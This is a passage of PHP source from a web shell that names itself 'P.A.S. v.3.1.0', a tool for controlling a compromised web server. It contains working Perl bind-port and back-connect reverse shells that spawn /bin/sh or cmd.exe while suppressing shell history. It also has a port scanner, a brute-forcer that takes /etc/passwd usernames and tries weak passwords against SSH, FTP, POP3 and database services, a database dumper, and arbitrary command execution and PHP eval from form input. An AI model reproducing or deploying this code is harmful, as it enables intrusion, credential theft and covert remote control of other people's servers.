  1449.  text-align:center"><form action="" method="post">Create <select name="t"><option value="f">file&nbsp;
  1450. </option><option value="d">dir</option></select> : <input type="text" name="fn" value="<?php
  1451.                 echo htmlspecialchars($_SESSION['CP']);
  1452. ?>" style="width:335px"/> <input type="submit" name="fe" value="&gt;
  1453. "/></form></fieldset><fieldset style="float:right;
  1454.  width:480px;
  1455.  text-align:center;
  1456.  clear:bottom"><form action="" method="post" enctype="multipart/form-data"><input type="file" name="fu[]" size="55" multiple="multiple" style="width:410px"/> <input type="submit" name="fe" value="upload"/></form></fieldset><?php
  1457.                 }
  1458.             }
  1459.         elseif (!isset($_POST['fs']) || isset($_POST['fsn'])) sm('Can\'t find any file. Sorry.', 'e');
  1460.         }
  1461.     }
  1462. elseif (isset($_POST['se']))
  1463.     {
  1464.     $c = array(
  1465.         'tp' => '',
  1466.         'ha' => 'localhost',
  1467.         'hp' => '',
  1468.         'un' => '',
  1469.         'up' => '',
  1470.         'db' => ''
  1471.     );
  1472.     if (isset($_POST['sc'])) $c = $_POST['sc'];
  1473.     elseif (isset($_SESSION['DB'])) $c = $_SESSION['DB'];
  1474.     if (isset($_POST['sd']))
  1475.         {
  1476.         $c['db'] = $_POST['sd'];
  1477.         $c['tn'] = '';
  1478.         }
  1479.     elseif (isset($_POST['st'])) $c['tn'] = $_POST['st'];
  1480.     if (isset($_POST['so'])) $c['sl'] = $_POST['so'];
  1481.     if (!isset($c['tn'])) $c['tn'] = '';
  1482.     if (!isset($c['sl'])) $c['sl'] = 10;
  1483. ?><fieldset><form action="" method="post" align="center">Type : <select name="sc[tp]"><?php
  1484.     $t = array(
  1485.         'mysql' => 'MySQL',
  1486.         'mssql' => 'MSSQL',
  1487.         'pg' => 'PostgreSQL'
  1488.     );
  1489.     foreach($t as $k => $v)
  1490.     if (@function_exists($k . '_connect'))
  1491.         {
  1492.         echo '<option value="', $k, '"';
  1493.         if ($c['tp'] == $k) echo ' selected="selected"';
  1494.         echo '>', $v, '&nbsp;
  1495. </option>';
  1496.         } ?></select> Host : <input type="text" name="sc[ha]" value="<?php
  1497.     echo htmlspecialchars($c['ha']);
  1498. ?>" style="width:150px"/>:<input type="text" name="sc[hp]" value="<?php
  1499.     echo $c['hp'];
  1500. ?>" style="width:45px"/> User : <input type="text" name="sc[un]" value="<?php
  1501.     echo htmlspecialchars($c['un']);
  1502. ?>" style="width:130px"/> Password : <input type="text" name="sc[up]" value="<?php
  1503.     echo htmlspecialchars($c['up']);
  1504. ?>" style="width:130px"/> DB : <input type="text" name="sc[db]" value="<?php
  1505.     echo htmlspecialchars($c['db']);
  1506. ?>" style="width:130px"/> <input type="submit" name="se" value="&gt;
  1507. "/></form></fieldset><?php
  1508.     if (!empty($c['tp']))
  1509.         {
  1510.         $s = new sc($c['tp']);
  1511.         if ($s->cn($c['ha'], $c['hp'], $c['un'], $c['up']))
  1512.             {
  1513.             $_SESSION['DB'] = $c;
  1514. ?><div style="float:left;
  1515.  margin-left:3px;
  1516.  margin-top:4px;
  1517.  width:235px;
  1518. "><form action="" method="post" id="fd"><input type="hidden" name="se"/><table class="lists" id="fd"><tr><th width="20px"><input type="checkbox" onclick="ca(this.checked, 'fd')"/></th><th>Databases :</th></tr><?php
  1519.             if ($s->ld())
  1520.                 {
  1521.                 $i = 0;
  1522.                 while ($v = $s->fv($i++)) echo '<tr><td><input type="checkbox" name="cd[]" value="', $v, '"/></td><td><input type="submit" name="sd" value="', $v, '"/></td></tr>';
  1523.                 } ?><tr><th colspan="2"><input type="submit" name="sdd" value="Dump"/></th></tr></table></form><?php
  1524.             if (!empty($c['db'])) $s->sd($c['db']);
  1525.             if (!empty($c['db']) && $r = $s->lt($c['db']))
  1526.                 {
  1527.                 $ts = array();
  1528. ?><br/><form action="" method="post" id="ft"><input type="hidden" name="se"/><table class="lists"><tr><th width="20px"><input type="checkbox" onclick="ca(this.checked, 'ft')"/></th><th>[ <?php
  1529.                 echo $c['db'];
  1530. ?> ]</th></tr><?php
  1531.                 $i = 0;
  1532.                 while ($v = $s->fv($i++, $r))
  1533.                     {
  1534.                     $ts[$v] = $s->ts($c['db'], $v);
  1535.                     echo '<tr><td><input type="checkbox" name="ct[]" value="', $v, '"/></td><td><input type="submit" name="st" value="', $v, '"/><div>', $ts[$v], '</div></td></tr>';
  1536.                     } ?><tr><th colspan="2"><input type="submit" name="sdt" value="Dump"/></th></tr></table></form><?php
  1537.                 } ?></div><?php
  1538.             if (isset($_POST['sq']))
  1539.                 {
  1540.                 $q = $_POST['sq'];
  1541.                 $c['tn'] = '';
  1542.                 }
  1543.             elseif (!empty($c['tn']))
  1544.                 {
  1545.                 $p = isset($_POST['sp']) ? $_POST['sp'] : 1;
  1546.                 $q = $s->ql($c['db'], $c['tn'], $p, $c['sl']);
  1547.                 }
  1548.               else $q = '';
  1549. ?><div style="float:right;
  1550.  width:755px;
  1551.  margin-right:3px;
  1552. "><fieldset><form action="" method="post">Query : <input type="text" name="sq" value="<?php
  1553.             echo htmlspecialchars($q);
  1554. ?>" style="width:650px"/> <input type="submit" name="se" value="&gt;
  1555. "/></form></fieldset><?php
  1556.             if (!empty($q))
  1557.                 {
  1558.                 if ($s->q($q))
  1559.                     {
  1560.                     echo '<div style="overflow-x:auto;
  1561. margin:3px;
  1562. "><table class="listr" ><tr>';
  1563.                     $i = 0;
  1564.                     while ($v = $s->fn($i++)) echo '<th>', htmlspecialchars($v) , '</th>';
  1565.                     echo '</tr>';
  1566.                     while ($v = $s->fr())
  1567.                         {
  1568.                         echo '<tr>';
  1569.                         foreach($v as $t) echo '<td><p>', htmlspecialchars($t) , '</p></td>';
  1570.                         echo '</tr>';
  1571.                         }
  1572.  
  1573.                     echo '</table></div>';
  1574.                     if (!empty($c['tn']))
  1575.                         {
  1576.                         $l = ceil($ts[$c['tn']] / $c['sl']);
  1577.                         if ($l > 1)
  1578.                             { ?><fieldset class="pag"><table width="100%"><tr><td>Page : <form action="" method="post"><input type="hidden" name="se"/><input type="submit" name="sp" value="1"/><?php
  1579.                             if ($p > 2) echo ' <button type="submit" name="sp" value="', $p - 1, '">&lt;
  1580. </button>';
  1581. ?></form><form action="" method="post"><input type="hidden" name="se"/> <input type="text" name="sp" value="<?php
  1582.                             echo $p;
  1583. ?>" style="width:60px"/></form><form action="" method="post"><input type="hidden" name="se"/><?php
  1584.                             if ($p < $l - 1) echo ' <button type="submit" name="sp" value="', $p + 1, '">&gt;
  1585. </button>';
  1586. ?> <input type="submit" name="sp" value="<?php
  1587.                             echo $l;
  1588. ?>"/></form></td><td align="right"><form action="" method="post">Rows per page: <select name="so"><?php
  1589.                             $t = array(
  1590.                                 10,
  1591.                                 25,
  1592.                                 50,
  1593.                                 100,
  1594.                                 250,
  1595.                                 500,
  1596.                                 1000
  1597.                             );
  1598.                             foreach($t as $v)
  1599.                                 {
  1600.                                 echo '<option value="', $v, '"';
  1601.                                 if ($c['sl'] == $v) echo ' selected="selected"';
  1602.                                 echo '>', $v, '</option>';
  1603.                                 } ?></select> <input type="submit" name="se" value="&gt;
  1604. "/></form></td></tr></table></fieldset><?php
  1605.                             }
  1606.                         }
  1607.                     }
  1608.                   else sm($s->e() , 'e');
  1609.                 } ?></div><br style="clear:both;
  1610. "/><?php
  1611.             $s->cl();
  1612.             }
  1613.           else
  1614.             {
  1615.             if (isset($_SESSION['DB'])) unset($_SESSION['DB']);
  1616.             sm('Can\'t connect. ' . $s->e() , 'e');
  1617.             }
  1618.         }
  1619.     }
  1620. elseif (isset($_POST['nt']))
  1621.     {
  1622.     $pf = empty($_POST['pf']) ? 0 : $_POST['pf'];
  1623.     $pl = empty($_POST['pl']) ? 65535 : $_POST['pl'];
  1624.     $sc = empty($_POST['sc']) ? 50 : $_POST['sc'];
  1625. ?> <div class="ntwrk">   <fieldset><legend>Bind port</legend><form action="" method="post"><div>Port : <input type="text" name="pb" value="<?php
  1626.     echo empty($_POST['pb']) ? '8888' : $_POST['pb'];
  1627. ?>" style="width:42px"/> <button type="submit" name="nt" value="bp"/>&gt;
  1628. </button></div></form></fieldset>   <fieldset><legend>Back-connect</legend><div><form action="" method="post">To : <input type="text" name="hbc" value="<?php
  1629.     echo empty($_POST['hbc']) ? $_SERVER['REMOTE_ADDR'] : $_POST['hbc'];
  1630. ?>" style="width:102px"/> : <input type="text" name="pbc" value="<?php
  1631.     echo empty($_POST['pbc']) ? '8888' : $_POST['pbc'];
  1632. ?>" style="width:41px"/> <button type="submit" name="nt" value="bc">&gt;
  1633. </button></form></div></fieldset> <?php
  1634.     if (@function_exists('socket_create'))
  1635.         { ?> <fieldset><legend>Port scanner</legend><form action="" method="post"><table width="100%" class="form"><tr><td width="55px">Host :</td><td colspan="2"><input type="text" name="hs" value="<?php
  1636.         echo empty($_POST['hs']) ? 'localhost' : $_POST['hs'];
  1637. ?>" style="width:100%"/></td></tr><tr><td>Ports :</td><td colspan="2"><input type="text" name="pf" size="5" value="<?php
  1638.         echo $pf;
  1639. ?>"/> - <input type="text" name="pl" size="5" value="<?php
  1640.         echo $pl;
  1641. ?>"/></td></tr><tr><td>Streams&nbsp;
  1642. :</td><td><input type="text" name="sc" size="4" value="<?php
  1643.         echo $sc;
  1644. ?>"/></td><td align="right"><button type="submit" name="nt" value="ps">&gt;
  1645. </button></td></tr></table></form></fieldset> <?php
  1646.         } ?> </div> <div style="float:left;
  1647.  width:740px"><center><?php
  1648.     $l0 = '#!/usr/bin/perl' . "\n" . '$SIG{\'CHLD\'}=\'IGNORE\';
  1649. use IO::Socket;
  1650. use FileHandle;
  1651. $o=" [OK]";
  1652. $e="      Error: ";
  1653. $l="\r\n-----------------------------------------\r\n";
  1654. $h="----  ';
  1655.     $l1 = '  ----";
  1656. print $h;
  1657. print "\r\n> Start...";
  1658. print "\r\n> Get protocol by name...";
  1659. $tcp=getprotobyname("tcp") or die print "$l$e$!$l";
  1660. print "           $o";
  1661. ';
  1662.     $l2 = ' print "\r\n> Packed address info...";
  1663. $sckt=sockaddr_in(';
  1664.     $l3 = ') or die print "$l$e$!$l";
  1665. print "            $o";
  1666. print "\r\n> Create socket...";
  1667. socket(SOCKET, PF_INET, SOCK_STREAM,$tcp) or die print "$l$e$!$l";
  1668. print "                  $o";
  1669. ';
  1670.     $l4 = (IW ? '' : 'system("unset HISTFILE;
  1671. unset SAVEHIST;
  1672. ");
  1673. ') . ' print "\r\n$h\r\n\r\n";
  1674. system(' . (IW ? "'cmd.exe'" : "'/bin/sh -i'") . ');
  1675. print "$l\r\n";
  1676. ';
  1677.     if ($_POST['nt'] == 'bp')
  1678.         {
  1679.         @session_write_close();
  1680.         $tfn = ctf($l0 . ' Hello from P.A.S. Bind Port ' . $l1 . $l2 . $_POST['pb'] . ', INADDR_ANY' . $l3 . 'print "\r\n> Set socket options...";
  1681. setsockopt(SOCKET, SOL_SOCKET, SO_REUSEADDR, 1) or die print "$l$e$!$l";
  1682. print "             $o";
  1683. print "\r\n> Bind socket...";
  1684. bind(SOCKET,$sckt) or die print "$l$e$!$l";
  1685. print "                    $o";
  1686. print "\r\n> Listen socket...";
  1687. listen(SOCKET, 5) or die print "$l$e$!$l";
  1688. print "                  $o";
  1689. print "\r\n> Accept connection...";
  1690. accept(CONN,SOCKET) or die print "$l$e$!$l";
  1691. print "$l      OK! I\'m accept connection.$l";
  1692. if(!($pid=fork)){if(!defined $pid){exit(0);
  1693. }open(STDIN, "<&CONN");
  1694. open(STDOUT, ">&CONN");
  1695. open(STDERR, ">&CONN");
  1696. ' . $l4 . 'close CONN;
  1697. }');
  1698.         echo '<div class="xmp">';
  1699.         se('perl ' . $tfn . ' 2>&1 &');
  1700.         @unlink($tfn);
  1701.         echo '</div>';
  1702.         }
  1703.     elseif ($_POST['nt'] == 'bc')
  1704.         {
  1705.         @session_write_close();
  1706.         $tfn = ctf($l0 . 'Hello from P.A.S. BackConnect' . $l1 . 'print "\r\n> Convert host address...";
  1707. $inet=inet_aton("' . $_POST['hbc'] . '") or die print "$l$e$!$l";
  1708. print "           $o";
  1709. ' . $l2 . $_POST['pbc'] . ',$inet' . $l3 . 'print "\r\n> Connect to ' . $_POST['hbc'] . ':' . $_POST['pbc'] . '...";
  1710. connect(SOCKET,$sckt) or die print "$l$e$!$l";
  1711. print "$l      OK! I\'m successful connected.$l";
  1712. open(STDIN, "<&SOCKET");
  1713. open(STDOUT, ">&SOCKET");
  1714. open(STDERR, ">&SOCKET");
  1715. ' . $l4);
  1716.         echo '<div class="xmp">';
  1717.         se('perl ' . $tfn . ' 2>&1 &');
  1718.         @unlink($tfn);
  1719.         echo '</div>';
  1720.         }
  1721.     elseif ($_POST['nt'] == 'ps')
  1722.         {
  1723.         @session_write_close();
  1724.         $hi = gethostbyname($_POST['hs']);
  1725.         echo '<table border="1" class="list"><tr><th>Port</th><th>Service</th><th>Answer</th></tr>';
  1726.         for ($pf = $pf; $pf <= $pl; $pf+= $sc + 1)
  1727.             {
  1728.             $ss = $sr = $sw = array();
  1729.             $scn = ($pf + $sc > $pl) ? $pl - $pf : $sc;
  1730.             for ($p = $pf; $p <= ($pf + $scn); $p++)
  1731.                 {
  1732.                 $sh = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  1733.                 @socket_set_option($sh, SOL_SOCKET, SO_SNDTIMEO, array(
  1734.                     'sec' => 2,
  1735.                     'usec' => 0
  1736.                 ));
  1737.                 @socket_set_option($sh, SOL_SOCKET, SO_RCVTIMEO, array(
  1738.                     'sec' => 2,
  1739.                     'usec' => 0
  1740.                 ));
  1741.                 @socket_set_nonblock($sh);
  1742.                 @socket_connect($sh, $hi, $p);
  1743.                 @socket_set_block($sh);
  1744.                 usleep(10000);
  1745.                 $sr[] = $sw[] = $se[] = $sh;
  1746.                 $ss[$sh] = $p;
  1747.                 }
  1748.  
  1749.             if (@socket_select($sr, $sw, $se, 2))
  1750.                 {
  1751.                 foreach($sw as $sn => $sh)
  1752.                 if (!empty($ss[$sh]))
  1753.                     {
  1754.                     @socket_write($sh, "HELLO\r\n\r\n");
  1755.                     $sr[] = $sh;
  1756.                     }
  1757.  
  1758.                 foreach($sr as $sn => $sh)
  1759.                 if (!empty($ss[$sh]))
  1760.                     {
  1761.                     $a = @socket_read($sh, 255);
  1762.                     @socket_shutdown($sh, 2);
  1763.                     @socket_close($sh);
  1764.                     echo '<tr><td align="right">', $ss[$sh], '</td><td>', (($s = @getservbyport($ss[$sh], 'tcp')) == '' ? 'unknown' : $s) , '</td><td>', nl2br(htmlspecialchars($a)) , '</td></tr>';
  1765.                     @flush();
  1766.                     unset($sr[$sn], $ss[$sh], $sw[$sh]);
  1767.                     }
  1768.  
  1769.                 foreach($se as $sn => $sh)
  1770.                 if (!empty($ss[$sh]))
  1771.                     {
  1772.                     @socket_shutdown($sh, 2);
  1773.                     @socket_close($sh);
  1774.                     unset($se[$sn], $ss[$sh]);
  1775.                     }
  1776.                 }
  1777.             }
  1778.  
  1779.         echo '</table>';
  1780.         }
  1781.       else
  1782.         { ?><div class="xmp"></div><?php
  1783.         } ?></center></div><br style="clear:both;
  1784. "/><?php
  1785.     }
  1786. elseif (isset($_POST['br']))
  1787.     {
  1788.     @session_write_close();
  1789.     $h = array(
  1790.         'ha' => 'localhost',
  1791.         'hp' => 22,
  1792.         'ps' => array(
  1793.             'ssh',
  1794.             'SSH'
  1795.         )
  1796.     );
  1797.     $f = array(
  1798.         'ha' => 'localhost',
  1799.         'hp' => 21,
  1800.         'ps' => array(
  1801.             'ftp',
  1802.             'FTP'
  1803.         )
  1804.     );
  1805.     $m = array(
  1806.         'ha' => 'localhost',
  1807.         'hp' => 110,
  1808.         'ps' => array(
  1809.             'mail',
  1810.             'MAIL'
  1811.         )
  1812.     );
  1813.     $y = array(
  1814.         'ha' => 'localhost',
  1815.         'hp' => 3306,
  1816.         'ps' => array(
  1817.             'mysql',
  1818.             'MYSQL',
  1819.             'MySQL',
  1820.             'mySQL',
  1821.             'MYsql',
  1822.             'sql',
  1823.             'SQL',
  1824.             'db',
  1825.             'DB',
  1826.             'database',
  1827.             'DATABASE'
  1828.         )
  1829.     );
  1830.     $s = array(
  1831.         'ha' => 'localhost',
  1832.         'hp' => 1433,
  1833.         'ps' => array(
  1834.             'mssql',
  1835.             'MSSQL',
  1836.             'MsSQL',
  1837.             'msSQL',
  1838.             'MSsql',
  1839.             'sql',
  1840.             'SQL',
  1841.             'db',
  1842.             'DB',
  1843.             'database',
  1844.             'DATABASE'
  1845.         )
  1846.     );
  1847.     $p = array(
  1848.         'ha' => 'localhost',
  1849.         'hp' => 5432,
  1850.         'ps' => array(
  1851.             'pg',
  1852.             'PG',
  1853.             'pgs',
  1854.             'PGS',
  1855.             'pgsql',
  1856.             'PgSQL',
  1857.             'PGSQL',
  1858.             'pgSQL',
  1859.             'PGsql',
  1860.             'postgre',
  1861.             'POSTGRE',
  1862.             'postgres',
  1863.             'POSTGRES',
  1864.             'postgresql',
  1865.             'POSTGRESQL',
  1866.             'PostgreSQL',
  1867.             'postgreSQL',
  1868.             'POSTGREsql',
  1869.             'sql',
  1870.             'SQL',
  1871.             'db',
  1872.             'DB',
  1873.             'database',
  1874.             'DATABASE'
  1875.         )
  1876.     );
  1877.     if (isset($_POST['brp']))
  1878.     foreach($_POST['brp'] as $v)
  1879.         {
  1880.         $
  1881.             {
  1882.             'c' . $v
  1883.             } = TRUE;
  1884.         if (!empty($_POST['h'][$v])) $
  1885.             {
  1886.             $v
  1887.             }
  1888.  
  1889.         ['ha'] = $_POST['h'][$v];
  1890.         if (!empty($_POST['p'][$v])) $
  1891.             {
  1892.             $v
  1893.             }
  1894.  
  1895.         ['hp'] = $_POST['p'][$v];
  1896.         } ?> <div style="float:left;
  1897.  width:335px;
  1898. "><form action="" method="post"><input type="hidden" name="br"/> <fieldset><legend>Protocols :</legend><table class="form"> <?php
  1899.     if (@function_exists('ssh2_connect'))
  1900.         { ?><tr><td><label><input type="checkbox" name="brp[]" value="h"<?php
  1901.         if (isset($ch)) echo ' checked="checked"';
  1902. ?>/> SSH :</label></td><td><input type="text" name="h[s]" value="<?php
  1903.         echo htmlspecialchars($h['ha']);
  1904. ?>"/> : <input type="text" name="p[h]" value="<?php
  1905.         echo intval($h['hp']);
  1906. ?>" style="width:42px"/></td></tr><?php
  1907.         }
  1908.  
  1909.     if (@function_exists('ftp_connect'))
  1910.         { ?><tr><td><label><input type="checkbox" name="brp[]" value="f"<?php
  1911.         if (isset($cf)) echo ' checked="checked"';
  1912. ?>/> FTP :</label></td><td><input type="text" name="h[f]" value="<?php
  1913.         echo htmlspecialchars($f['ha']);
  1914. ?>"/> : <input type="text" name="p[f]" value="<?php
  1915.         echo intval($f['hp']);
  1916. ?>" style="width:42px"/></td></tr><?php
  1917.         }
  1918.  
  1919.     if (@function_exists('fsockopen'))
  1920.         { ?><tr><td><label><input type="checkbox" name="brp[]" value="m"<?php
  1921.         if (isset($cm)) echo ' checked="checked"';
  1922. ?>/> POP3 :</label></td><td><input type="text" name="h[m]" value="<?php
  1923.         echo htmlspecialchars($m['ha']);
  1924. ?>"/> : <input type="text" name="p[m]" value="<?php
  1925.         echo intval($m['hp']);
  1926. ?>" style="width:42px"/></td></tr><?php
  1927.         }
  1928.  
  1929.     if (@function_exists('mysql_connect'))
  1930.         { ?><tr><td><label><input type="checkbox" name="brp[]" value="y"<?php
  1931.         if (isset($cy)) echo ' checked="checked"';
  1932. ?>/> MySQL :</label></td><td><input type="text" name="h[y]" value="<?php
  1933.         echo htmlspecialchars($y['ha']);
  1934. ?>"/> : <input type="text" name="p[y]" value="<?php
  1935.         echo intval($y['hp']);
  1936. ?>" style="width:42px"/></td></tr><?php
  1937.         }
  1938.  
  1939.     if (@function_exists('mssql_connect'))
  1940.         { ?><tr><td><label><input type="checkbox" name="brp[]" value="s"<?php
  1941.         if (isset($cs)) echo ' checked="checked"';
  1942. ?>/> MSSQL :</label></td><td><input type="text" name="h[s]" value="<?php
  1943.         echo htmlspecialchars($s['ha']);
  1944. ?>"/> : <input type="text" name="p[s]" value="<?php
  1945.         echo intval($s['hp']);
  1946. ?>" style="width:42px"/></td></tr><?php
  1947.         }
  1948.  
  1949.     if (@function_exists('pg_connect'))
  1950.         { ?><tr><td><label><input type="checkbox" name="brp[]" value="p"<?php
  1951.         if (isset($cp)) echo ' checked="checked"';
  1952. ?>/> PostgreSQL :</label></td><td><input type="text" name="h[p]" value="<?php
  1953.         echo htmlspecialchars($p['ha']);
  1954. ?>"/> : <input type="text" name="p[p]" value="<?php
  1955.         echo intval($p['hp']);
  1956. ?>" style="width:42px"/></td></tr><?php
  1957.         } ?> </table></fieldset> <fieldset style="margin-top:10px"><legend>Combinations: </legend><table class="form" width="100%"><tr><td><label><input type="checkbox" name="el"<?php
  1958.     if (isset($_POST['el'])) echo ' checked="checked"';
  1959. ?>/> root : root</label></td><td><label><input type="checkbox" name="ep"<?php
  1960.     if (isset($_POST['ep'])) echo ' checked="checked"';
  1961. ?>/> root : ftproot</label></td></tr><tr><td><label><input type="checkbox" name="er"<?php
  1962.     if (isset($_POST['er'])) echo ' checked="checked"';
  1963. ?>/> root : toor</label></td><td><label><input type="checkbox" name="es"<?php
  1964.     if (isset($_POST['es'])) echo ' checked="checked"';
  1965. ?>/> root : rootftp</label></td></tr></table></fieldset> <fieldset style="text-align:right"><input type="submit" name="bg" value="&gt;
  1966. "/></fieldset></form></div> <?php
  1967.     echo '<div style="float:left;
  1968. margin:10px;
  1969. width:640px;
  1970. ">';
  1971.     if (isset($_POST['bg']) && !empty($_POST['brp']))
  1972.         { ?><table border="1" class="list" width="100%"><tr><th>Protocol</th><th>Login</th><th>Password</th><th>Result</th></tr><?php
  1973.         $a = @file('/etc/passwd');
  1974.         foreach($a as $l)
  1975.             {
  1976.             $l = explode(':', $l);
  1977.             $l = $l[0];
  1978.             $c = array(
  1979.                 ''
  1980.             );
  1981.             foreach($_POST['brp'] as $v)
  1982.                 {
  1983.                 if (isset($_POST['el'])) $c[] = $l;
  1984.                 if (isset($_POST['er'])) $c[] = strrev($l);
  1985.                 if (isset($_POST['ep']))
  1986.                 foreach($
  1987.                     {
  1988.                     $v
  1989.                     }
  1990.  
  1991.                 ['ps'] as $k) $c[] = $k . $l;
  1992.                 if (isset($_POST['es']))
  1993.                 foreach($
  1994.                     {
  1995.                     $v
  1996.                     }
  1997.  
  1998.                 ['ps'] as $k) $c[] = $l . $k;
  1999.                 $c = array_merge($c, $
  2000.                     {
  2001.                     $v
  2002.                     }
  2003.  
  2004.                 ['ps']);
  2005.                 switch ($v)
  2006.                     {
  2007.                 case 'h':
  2008.                     if ($r = @ssh2_connect($h['ha'], $h['hp']))
  2009.                         {
  2010.                         $b = FALSE;
  2011.                         foreach($c as $k)
  2012.                             {
  2013.                             if (@ssh2_auth_password($r, $l, $k)) $b = TRUE;
  2014.                             echo '<tr class="', $b ? 'ok' : 'fail', '"><td>SSH</td><td>', htmlspecialchars($l) , '</td><td>', htmlspecialchars($k) , '</td><td>', $b ? 'OK' : 'FAILED', '</td></tr>';
  2015.                             flush();
  2016.                             if ($b) break;
  2017.                               else @usleep(500);
  2018.                             }
  2019.                         }
  2020.  
  2021.                     break;
  2022.  
  2023.                 case 'f':
  2024.                     $b = FALSE;
  2025.                     foreach($c as $k)
  2026.                     if ($r = @ftp_connect($f['ha'], $f['hp']))
  2027.                         {
  2028.                         if (@ftp_login($r, $l, $k)) $b = TRUE;
  2029.                         echo '<tr class="', $b ? 'ok' : 'fail', '"><td>FTP</td><td>', htmlspecialchars($l) , '</td><td>', htmlspecialchars($k) , '</td><td>', $b ? 'OK' : 'FAILED', '</td></tr>';
  2030.                         @ftp_close($r);
  2031.                         flush();
  2032.                         if ($b) break;
  2033.                           else @usleep(500);
  2034.                         }
  2035.  
  2036.                     break;
  2037.  
  2038.                 case 'm':
  2039.                     foreach($c as $k)
  2040.                     if ($r = @fsockopen($m['ha'], $m['hp'], $en, $es, 2))
  2041.                         {
  2042.                         @fgets($r);
  2043.                         @fwrite($r, "USER " . $l . "\n");
  2044.                         $t = @fgets($r);
  2045.                         if ($t[0] == '-')
  2046.                             {
  2047.                             @fwrite($r, "PASS " . $k . "\n");
  2048.                             $t = @fgets($r);
  2049.                             }
  2050.  
  2051.                         @fwrite($r, "QUIT\n");
  2052.                         @fclose($r);
  2053.                         echo '<tr class="', ($t[0] == '-') ? 'fail' : 'ok', '"><td>POP3</td><td>', htmlspecialchars($l) , '</td><td>', htmlspecialchars($k) , '</td><td>', ($t[0] == '-') ? 'FAILED' : 'OK', '</td></tr>';
  2054.                         flush();
  2055.                         if ($t[0] == '-') @usleep(500);
  2056.                           else break;
  2057.                         }
  2058.  
  2059.                     break;
  2060.  
  2061.                 case 'y':
  2062.                     foreach($c as $k)
  2063.                         {
  2064.                         if ($r = @mysql_connect($y['ha'] . ':' . $y['hp'], $l, $k, TRUE)) @mysql_close($r);
  2065.                         echo '<tr class="', $r ? 'ok' : 'fail', '"><td>MySQL</td><td>', htmlspecialchars($l) , '</td><td>', htmlspecialchars($k) , '</td><td>', $r ? 'OK' : 'FAILED', '</td></tr>';
  2066.                         flush();
  2067.                         if ($r) break;
  2068.                           else @usleep(500);
  2069.                         }
  2070.  
  2071.                     break;
  2072.  
  2073.                 case 's':
  2074.                     foreach($c as $k)
  2075.                         {
  2076.                         if ($r = @mssql_connect($s['ha'] . ',' . $s['hp'], $l, $k, TRUE)) @mssql_close($r);
  2077.                         echo '<tr class="', $r ? 'ok' : 'fail', '"><td>MSSQL</td><td>', htmlspecialchars($l) , '</td><td>', htmlspecialchars($k) , '</td><td>', $r ? 'OK' : 'FAILED', '</td></tr>';
  2078.                         flush();
  2079.                         if ($r) break;
  2080.                           else @usleep(500);
  2081.                         }
  2082.  
  2083.                     break;
  2084.  
  2085.                 case 'p':
  2086.                     foreach($c as $k)
  2087.                         {
  2088.                         if ($r = @pg_connect('host=' . $p['ha'] . ' port=' . $p['hp'] . ' user=' . $l . ' password=' . $k)) @pg_close($r);
  2089.                         echo '<tr class="', $r ? 'ok' : 'fail', '"><td>PostgreSQL</td><td>', htmlspecialchars($l) , '</td><td>', htmlspecialchars($k) , '</td><td>', $r ? 'OK' : 'FAILED', '</td></tr>';
  2090.                         flush();
  2091.                         if ($r) break;
  2092.                           else @usleep(500);
  2093.                         }
  2094.  
  2095.                     break;
  2096.                     }
  2097.                 }
  2098.             }
  2099.  
  2100.         echo '</table>';
  2101.         } ?></div><br style="clear:both"/><?php
  2102.     }
  2103. elseif (isset($_POST['sc']))
  2104.     {
  2105.     @session_write_close();
  2106.     function pe($c)
  2107.         {
  2108.         @ob_start();
  2109.         $e = false;
  2110.         @eval('$e=true;
  2111. ');
  2112.         if ($e) @eval($c);
  2113.         elseif (@function_exists('create_function'))
  2114.             {
  2115.             $f = @create_function('', $c);
  2116.             $f();
  2117.             }
  2118.           else
  2119.             {
  2120.             $f = ctf('<?php ' . $c . ' ?>');
  2121.             @include ($f);
  2122.  
  2123.             @unlink($f);
  2124.             }
  2125.  
  2126.         echo htmlspecialchars(@ob_get_clean());
  2127.         }
  2128.  
  2129.     echo '<div class="xmp">';
  2130.     if (!empty($_POST['ex'])) se('(' . $_POST['ex'] . ')2>&1');
  2131.     elseif (!empty($_POST['ev'])) pe($_POST['ev']);
  2132.     echo '</div>';
  2133.     }
  2134. elseif (isset($_POST['si']))
  2135.     { ?><fieldset><form action="" method="post"><button type="submit" name="si" value="">phpinfo</button><?php
  2136.     if (!IW && @is_readable('/etc/passwd')) echo ' <button type="submit" name="si" value="p">passwd</button>';
  2137. ?></form></fieldset><?php
  2138.     if ($_POST['si'] == 'p') echo '<div class="xmp">', @file_get_contents('/etc/passwd') , '</div>';
  2139.       else
  2140.         {
  2141.         ob_start();
  2142.         phpinfo();
  2143.         $i = str_replace('<img ', '<noimg ', ob_get_clean());
  2144.         $is = substr($i, strpos($i, '<style'));
  2145.         $is = substr($is, 0, strpos($is, '</style>')) . ', p, table, th, td {font-size:12px}</style>';
  2146.         $is = str_replace(array(
  2147.             'body',
  2148.             "\n",
  2149.             ','
  2150.         ) , array(
  2151.             'p',
  2152.             ' .php ',
  2153.             ', .php '
  2154.         ) , $is);
  2155.         $i = substr($i, strpos($i, '<body>') + 6);
  2156.         $i = substr($i, 0, strrpos($i, '</body>'));
  2157.         echo '<div class="php">', $is, $i, '</div>';
  2158.         }
  2159.     } ?><fieldset style='font:normal 12px "Courier New"'><form action="" method="post" style="margin-bottom:5px;
  2160. ">Exec : <input type="text" name="ex" value="<?php
  2161. echo isset($_POST['ex']) ? htmlspecialchars($_POST['ex']) : (IW ? 'ver' : 'uname -a');
  2162. ?>" style="width:895px;
  2163. "/> <button type="submit" name="sc">&gt;
  2164. </button></form><form action="" method="post" style="margin-top:5px">Eval : <input type="text" name="ev" value="<?php
  2165. echo isset($_POST['ev']) ? htmlspecialchars($_POST['ev']) : 'phpinfo();
  2166. ';
  2167. ?>" style="width:895px;
  2168. "/> <button type="submit" name="sc">&gt;
  2169. </button></form></fieldset><fieldset class="footer"><table width="100%" border="0"><tr><td>P.A.S. v.3.1.0</td><td align="center"><form action="" method="post"><select name="cs"><?php
  2170. $a = array(
  2171.     'UTF-8',
  2172.     'Windows-1251',
  2173.     'CP-866',
  2174.     'KOI8-R',
  2175.     'KOI8-U',
  2176.     'ISO-8859-5',
  2177.     'ISO-8859-1'
  2178. );
  2179.  
  2180. foreach($a as $v)
  2181.     {
  2182.     echo '<option value="', $v, '"';
  2183.     if ($_SESSION['CS'] == $v) echo ' selected="selected"';
  2184.     echo '>', $v, '&nbsp;
  2185. </option>';
  2186.     } ?></select>  <input type="submit" value="&gt;
  2187. "/><?php
  2188.  
